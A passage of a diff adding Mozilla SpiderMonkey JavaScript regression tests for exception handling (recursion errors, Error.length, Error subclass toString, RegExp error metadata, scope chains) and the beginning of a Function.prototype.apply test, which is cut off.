+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 24 Jan 2002
+ * SUMMARY: "Too much recursion" errors should be safely caught by try...catch
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=121658
+ *
+ * In the cases below, we expect i>0. The bug was filed because we
+ * were getting i===0; i.e. |i| did not retain the value it had at the
+ * location of the error.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 121658;
+var msg = '"Too much recursion" errors should be safely caught by try...catch';
+var TEST_PASSED = 'i retained the value it had at location of error';
+var TEST_FAILED = 'i did NOT retain this value';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var i;
+
+
+function f()
+{
+ ++i;
+
+ // try...catch should catch the "too much recursion" error to ensue
+ try
+ {
+ f();
+ }
+ catch(e)
+ {
+ }
+}
+
+i=0;
+f();
+status = inSection(1);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Now try in function scope -
+function g()
+{
+ f();
+}
+
+i=0;
+g();
+status = inSection(2);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Now try in eval scope -
+var sEval = 'function h(){++i; try{h();} catch(e){}}; i=0; h();';
+eval(sEval);
+status = inSection(3);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Try in eval scope and mix functions up -
+sEval = 'function a(){++i; try{h();} catch(e){}}; i=0; a();';
+eval(sEval);
+status = inSection(4);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = formatThis(actual);
+ expectedvalues[UBound] = formatThis(expect);
+ UBound++;
+}
+
+
+function formatThis(bool)
+{
+ return bool? TEST_PASSED : TEST_FAILED;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(msg);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-123002.js b/js/src/tests/non262/Exceptions/regress-123002.js
new file mode 100644
index 0000000000..1639e6c65c
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-123002.js
@@ -0,0 +1,90 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 01 Feb 2002
+ * SUMMARY: Testing Error.length
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123002
+ *
+ * NOTE: Error.length should equal the length of FormalParameterList of the
+ * Error constructor. This is currently 1 in Rhino, 3 in SpiderMonkey.
+ *
+ * The difference is due to http://bugzilla.mozilla.org/show_bug.cgi?id=50447.
+ * As a result of that bug, SpiderMonkey has extended ECMA to allow two new
+ * parameters to Error constructors:
+ *
+ * Rhino: new Error (message)
+ * SpiderMonkey: new Error (message, fileName, lineNumber)
+ *
+ * NOTE: since we have hard-coded the length expectations, this testcase will
+ * have to be changed if the Error FormalParameterList is ever changed again.
+ *
+ * To do this, just change the two LENGTH constants below -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 123002;
+var summary = 'Testing Error.length';
+var QUOTE = '"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var LENGTH_EXPECTED = 1;
+
+/*
+ * The various NativeError objects; see ECMA-262 Edition 3, Section 15.11.6
+ */
+var errObjects = [new Error(), new EvalError(), new RangeError(),
+ new ReferenceError(), new SyntaxError(), new TypeError(), new URIError()];
+
+
+for (var i in errObjects)
+{
+ var err = errObjects[i];
+ status = inSection(quoteThis(err.name));
+ actual = Error.length;
+ expect = LENGTH_EXPECTED;
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function quoteThis(text)
+{
+ return QUOTE + text + QUOTE;
+}
diff --git a/js/src/tests/non262/Exceptions/regress-181654.js b/js/src/tests/non262/Exceptions/regress-181654.js
new file mode 100644
index 0000000000..7ddc9b0217
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-181654.js
@@ -0,0 +1,118 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 23 Nov 2002
+ * SUMMARY: Calling toString for an object derived from the Error class
+ * results in an TypeError (Rhino only)
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181654
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '181654';
+var summary = 'Calling toString for an object derived from the Error class should be possible.';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+// derive MyError from Error
+function MyError( msg )
+{
+ this.message = msg;
+}
+MyError.prototype = new Error();
+MyError.prototype.name = "MyError";
+
+
+status = inSection(1);
+var err1 = new MyError('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = new MyError(String(err1));
+actual = examineThis(err2, err1);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = new MyError();
+actual = examineThis(err3, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = new MyError(EMPTY_STRING);
+actual = examineThis(err4, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+// now generate an error -
+status = inSection(5);
+try
+{
+ throw new MyError("thrown");
+}
+catch(err5)
+{
+ actual = examineThis(err5, "thrown");
+}
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Searches err.toString() for err.name + ':' + err.message,
+ * with possible whitespace on each side of the colon sign.
+ *
+ * We allow for no colon in case err.message was not provided by the user.
+ * In such a case, SpiderMonkey and Rhino currently set err.message = '',
+ * as allowed for by ECMA 15.11.4.3. This makes |pattern| work in this case.
+ *
+ * If this is ever changed to a non-empty string, e.g. 'undefined',
+ * you may have to modify |pattern| to take that into account -
+ *
+ */
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-181914.js b/js/src/tests/non262/Exceptions/regress-181914.js
new file mode 100644
index 0000000000..5f153a3912
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-181914.js
@@ -0,0 +1,157 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 Nov 2002
+ * SUMMARY: Calling a user-defined superconstructor
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181914, esp. Comment 10.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '181914';
+var summary = 'Calling a user-defined superconstructor';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+// make a user-defined version of the Error constructor
+function _Error(msg)
+{
+ this.message = msg;
+}
+_Error.prototype = new Error();
+_Error.prototype.name = '_Error';
+
+
+// derive MyApplyError from _Error
+function MyApplyError(msg)
+{
+ if(this instanceof MyApplyError)
+ _Error.apply(this, arguments);
+ else
+ return new MyApplyError(msg);
+}
+MyApplyError.prototype = new _Error();
+MyApplyError.prototype.name = "MyApplyError";
+
+
+// derive MyCallError from _Error
+function MyCallError(msg)
+{
+ if(this instanceof MyCallError)
+ _Error.call(this, msg);
+ else
+ return new MyCallError(msg);
+}
+MyCallError.prototype = new _Error();
+MyCallError.prototype.name = "MyCallError";
+
+
+function otherScope(msg)
+{
+ return MyApplyError(msg);
+}
+
+
+status = inSection(1);
+var err1 = new MyApplyError('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = new MyCallError('msg2');
+actual = examineThis(err2, 'msg2');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = MyApplyError('msg3');
+actual = examineThis(err3, 'msg3');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = MyCallError('msg4');
+actual = examineThis(err4, 'msg4');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(5);
+var err5 = otherScope('msg5');
+actual = examineThis(err5, 'msg5');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(6);
+var err6 = otherScope();
+actual = examineThis(err6, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(7);
+var err7 = eval("MyApplyError('msg7')");
+actual = examineThis(err7, 'msg7');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(8);
+var err8;
+try
+{
+ throw MyApplyError('msg8');
+}
+catch(e)
+{
+ if(e instanceof Error)
+ err8 = e;
+}
+actual = examineThis(err8, 'msg8');
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+// Searches |err.toString()| for |err.name + ':' + err.message|
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-257751.js b/js/src/tests/non262/Exceptions/regress-257751.js
new file mode 100644
index 0000000000..f95dedff49
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-257751.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 257751;
+var summary = 'RegExp Syntax Errors should have lineNumber and fileName';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+var re;
+
+status = summary + ' ' + inSection(1) + ' RegExp("\\\\") ';
+try
+{
+ expect = 'Pass';
+ re = RegExp('\\');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' RegExp(")") ';
+try
+{
+ expect = 'Pass';
+ re = RegExp(')');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' /\\\\/ ';
+try
+{
+ expect = 'Pass';
+ re = eval('/\\/');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(4) + ' /)/ ';
+try
+{
+ expect = 'Pass';
+ re = eval('/)/');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/Exceptions/regress-273931.js b/js/src/tests/non262/Exceptions/regress-273931.js
new file mode 100644
index 0000000000..000b5f3108
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-273931.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 273931;
+var summary = 'Pop scope chain in exception handling';
+var actual = '';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' ';
+try
+{
+ with ({foo:"bar"})
+ throw 42;
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' ';
+try
+{
+ with ({foo:"bar"})
+ eval("throw 42");
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' ';
+try
+{
+ var s = "throw 42";
+ with ({foo:"bar"})
+ eval(s);
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/Exceptions/regress-332472.js b/js/src/tests/non262/Exceptions/regress-332472.js
new file mode 100644
index 0000000000..df17f2ebe9
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-332472.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 332472;
+var summary = 'new RegExp() ignores string boundaries when throwing exceptions';
+var actual = '';
+var expect = true;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str1 = "?asdf\nAnd you really shouldn't see this!";
+var str2 = str1.substr(0, 5);
+try {
+ new RegExp(str2);
+}
+catch(ex) {
+ printStatus(ex);
+ actual = ex instanceof SyntaxError;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Exceptions/regress-333728.js b/js/src/tests/non262/Exceptions/regress-333728.js
new file mode 100644
index 0000000000..bf6f4ea34d
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-333728.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 333728;
+var summary = 'Throw ReferenceErrors for typeof(...undef)';
+var actual = '';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ actual = typeof (0, undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (0, undef)');
+
+try
+{
+ actual = typeof (0 || undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (0 || undef)');
+
+try
+{
+ actual = typeof (1 && undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (1 && undef)');
+
+/*
+ try
+ {
+ actual = typeof (0 ? 0 : undef);
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary + ': typeof (0 ? 0 : undef)');
+*/
+
+/*
+ try
+ {
+ actual = typeof (1 ? undef : 0);
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary + ': typeof (1 ? undef : 0)');
+*/
+
+try
+{
+ actual = typeof (!this ? 0 : undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (!this ? 0 : undef)');
diff --git a/js/src/tests/non262/Exceptions/regress-342359.js b/js/src/tests/non262/Exceptions/regress-342359.js
new file mode 100644
index 0000000000..af5e2647f5
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-342359.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 342359;
+var summary = 'Overriding ReferenceError should stick';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// work around bug 376957
+var SavedReferenceError = ReferenceError;
+
+try
+{
+ ReferenceError = 5;
+}
+catch(ex)
+{
+}
+
+try
+{
+ foo.blitz;
+}
+catch(ex)
+{
+}
+
+if (SavedReferenceError == ReferenceError)
+{
+ actual = expect = 'Test ignored due to bug 376957';
+}
+else
+{
+ expect = 5;
+ actual = ReferenceError;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Exceptions/regress-347674.js b/js/src/tests/non262/Exceptions/regress-347674.js
new file mode 100644
index 0000000000..63bc36616c
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-347674.js
@@ -0,0 +1,63 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "347674";
+var summary = "ReferenceError thrown when accessing exception bound in a " +
+ "catch block in a try block within that catch block";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function foo()
+{
+ try
+ {
+ throw "32.9";
+ }
+ catch (e)
+ {
+ try
+ {
+ var errorCode = /^(\d+)\s+.*$/.exec(e)[1];
+ }
+ catch (e2)
+ {
+ void("*** internal error: e == " + e + ", e2 == " + e2);
+ throw e2;
+ }
+ }
+}
+
+try
+{
+ try
+ {
+ foo();
+ }
+ catch (ex)
+ {
+ if (!(ex instanceof TypeError))
+ throw "Wrong value thrown!\n" +
+ " expected: a TypeError ('32.9' doesn't match the regexp)\n" +
+ " actual: " + ex;
+ }
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Exceptions/regress-350650-n.js b/js/src/tests/non262/Exceptions/regress-350650-n.js
new file mode 100644
index 0000000000..fb457a6e07
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-350650-n.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350650;
+var summary = 'js reports "uncaught exception';
+var actual = 'Error';
+var expect = 'Error';
+
+expectExitCode(3);
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exc() { this.toString = function() { return "EXC"; } }
+ throw new exc();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Exceptions/regress-350837.js b/js/src/tests/non262/Exceptions/regress-350837.js
new file mode 100644
index 0000000000..66e721c3c5
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-350837.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350837;
+var summary = 'clear cx->throwing in finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'F';
+
+ function f()
+ {
+ actual = "F";
+ }
+
+ try
+ {
+ try {
+ throw 1;
+ } finally {
+ f.call(this);
+ }
+ }
+ catch(ex)
+ {
+ reportCompare(1, ex, summary);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Exceptions/regress-58946.js b/js/src/tests/non262/Exceptions/regress-58946.js
new file mode 100644
index 0000000000..d869c4a126
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-58946.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-------------------------------------------------------------------------------------------------
+var BUGNUMBER = '58946';
+var stat = 'Testing a return statement inside a catch statement inside a function';
+
+test();
+
+function test() {
+ printBugNumber(BUGNUMBER);
+ printStatus (stat);
+
+ expect = 'PASS';
+
+ function f()
+ {
+ try
+ {
+ throw 'PASS';
+ }
+ catch(e)
+ {
+ return e;
+ }
+ }
+
+ actual = f();
+
+ reportCompare(expect, actual, stat);
+}
diff --git a/js/src/tests/non262/Exceptions/regress-95101.js b/js/src/tests/non262/Exceptions/regress-95101.js
new file mode 100644
index 0000000000..372fb09428
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-95101.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 13 August 2001
+ *
+ * SUMMARY: Invoking an undefined function should produce a ReferenceError
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=95101
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 95101;
+var summary = 'Invoking an undefined function should produce a ReferenceError';
+var msgERR_REF_YES = 'ReferenceError';
+var msgERR_REF_NO = 'did NOT generate a ReferenceError';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+try
+{
+ xxxyyyzzz();
+}
+catch (e)
+{
+ status = 'Section 1 of test';
+ actual = e instanceof ReferenceError;
+ expect = true;
+ addThis();
+
+
+ /*
+ * This test is more literal, and may one day be invalid.
+ * Searching for literal string "ReferenceError" in e.toString()
+ */
+ status = 'Section 2 of test';
+ var match = e.toString().search(/ReferenceError/);
+ actual = (match > -1);
+ expect = true;
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isReferenceError(actual);
+ expectedvalues[UBound] = isReferenceError(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+// converts a Boolean result into a textual result -
+function isReferenceError(bResult)
+{
+ return bResult? msgERR_REF_YES : msgERR_REF_NO;
+}
diff --git a/js/src/tests/non262/Exceptions/shell.js b/js/src/tests/non262/Exceptions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/shell.js
diff --git a/js/src/tests/non262/Function/10.1.6-01.js b/js/src/tests/non262/Function/10.1.6-01.js
new file mode 100644
index 0000000000..fbb98616e1
--- /dev/null
+++ b/js/src/tests/non262/Function/10.1.6-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 293782;
+var summary = 'Local variables should not be enumerable properties of the function';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var x,y
+ }
+
+var p;
+actual = '';
+
+for (p in f)
+{
+ actual += p + ',';
+}
+expect = '';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/10.1.6.js b/js/src/tests/non262/Function/10.1.6.js
new file mode 100644
index 0000000000..504001cb1a
--- /dev/null
+++ b/js/src/tests/non262/Function/10.1.6.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 293782;
+var summary = 'Local variables can cause predefined function object properties to be undefined';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var name=1;
+}
+
+expect = 'f';
+actual = f.name;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/10.2.1.1.6.js b/js/src/tests/non262/Function/10.2.1.1.6.js
new file mode 100644
index 0000000000..69613386cd
--- /dev/null
+++ b/js/src/tests/non262/Function/10.2.1.1.6.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function strictThis() { 'use strict'; return this; }
+
+/* Check that calls of flat closure slots get the right |this|. */
+function flat(g) {
+ function h() { return g(); }
+ return h;
+}
+assertEq(flat(strictThis)(), undefined);
+
+/* Check that calls up upvars get the right |this|. */
+function upvar(f) {
+ function h() {
+ return f();
+ }
+ return h();
+}
+assertEq(upvar(strictThis), undefined);
+
+/* Check that calls to with-object properties get an appropriate 'this'. */
+var obj = { f: strictThis };
+with (obj) {
+ /*
+ * The method won't compile anything containing a 'with', but it can
+ * compile 'g'.
+ */
+ function g() { return f(); }
+ assertEq(g(), obj);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/15.3.4.3-01.js b/js/src/tests/non262/Function/15.3.4.3-01.js
new file mode 100644
index 0000000000..955d773766
--- /dev/null
+++ b/js/src/tests/non262/Function/15.3.4.3-01.js
@@ -0,0 +1,245 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562448;
+var summary = 'Function.prototype.apply should accept any arraylike arguments';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectTypeError(fun, msg)
+{
+ try
+ {
+ fun();
+ assertEq(true, false, "should have thrown a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true, msg + "; instead threw " + e);
+ }
+}
+
+function fun() { }
+
+var global = this;
+
+
+/* Step 1. */
+var nonfuns = [null, 1, -1, 2.5, "[[Call]]", undefined, true, false, {}];
+for (var i = 0, sz = nonfuns.length; i < sz; i++)
+{
+ var f = function()
+ {
+ Function.prototype.apply.apply(nonfuns[i], [1, 2, 3]);
+ };
+ var msg =
+ "expected TypeError calling Function.prototype.apply with uncallable this";
+ expectTypeError(f, msg);
+}
+
+
+/* Step 2. */
+var thisObj = {};
+
+var currentThis, currentThisBox;
+function funLength()
+{
+ assertEq(arguments.length, 0, "should have been called with no arguments");
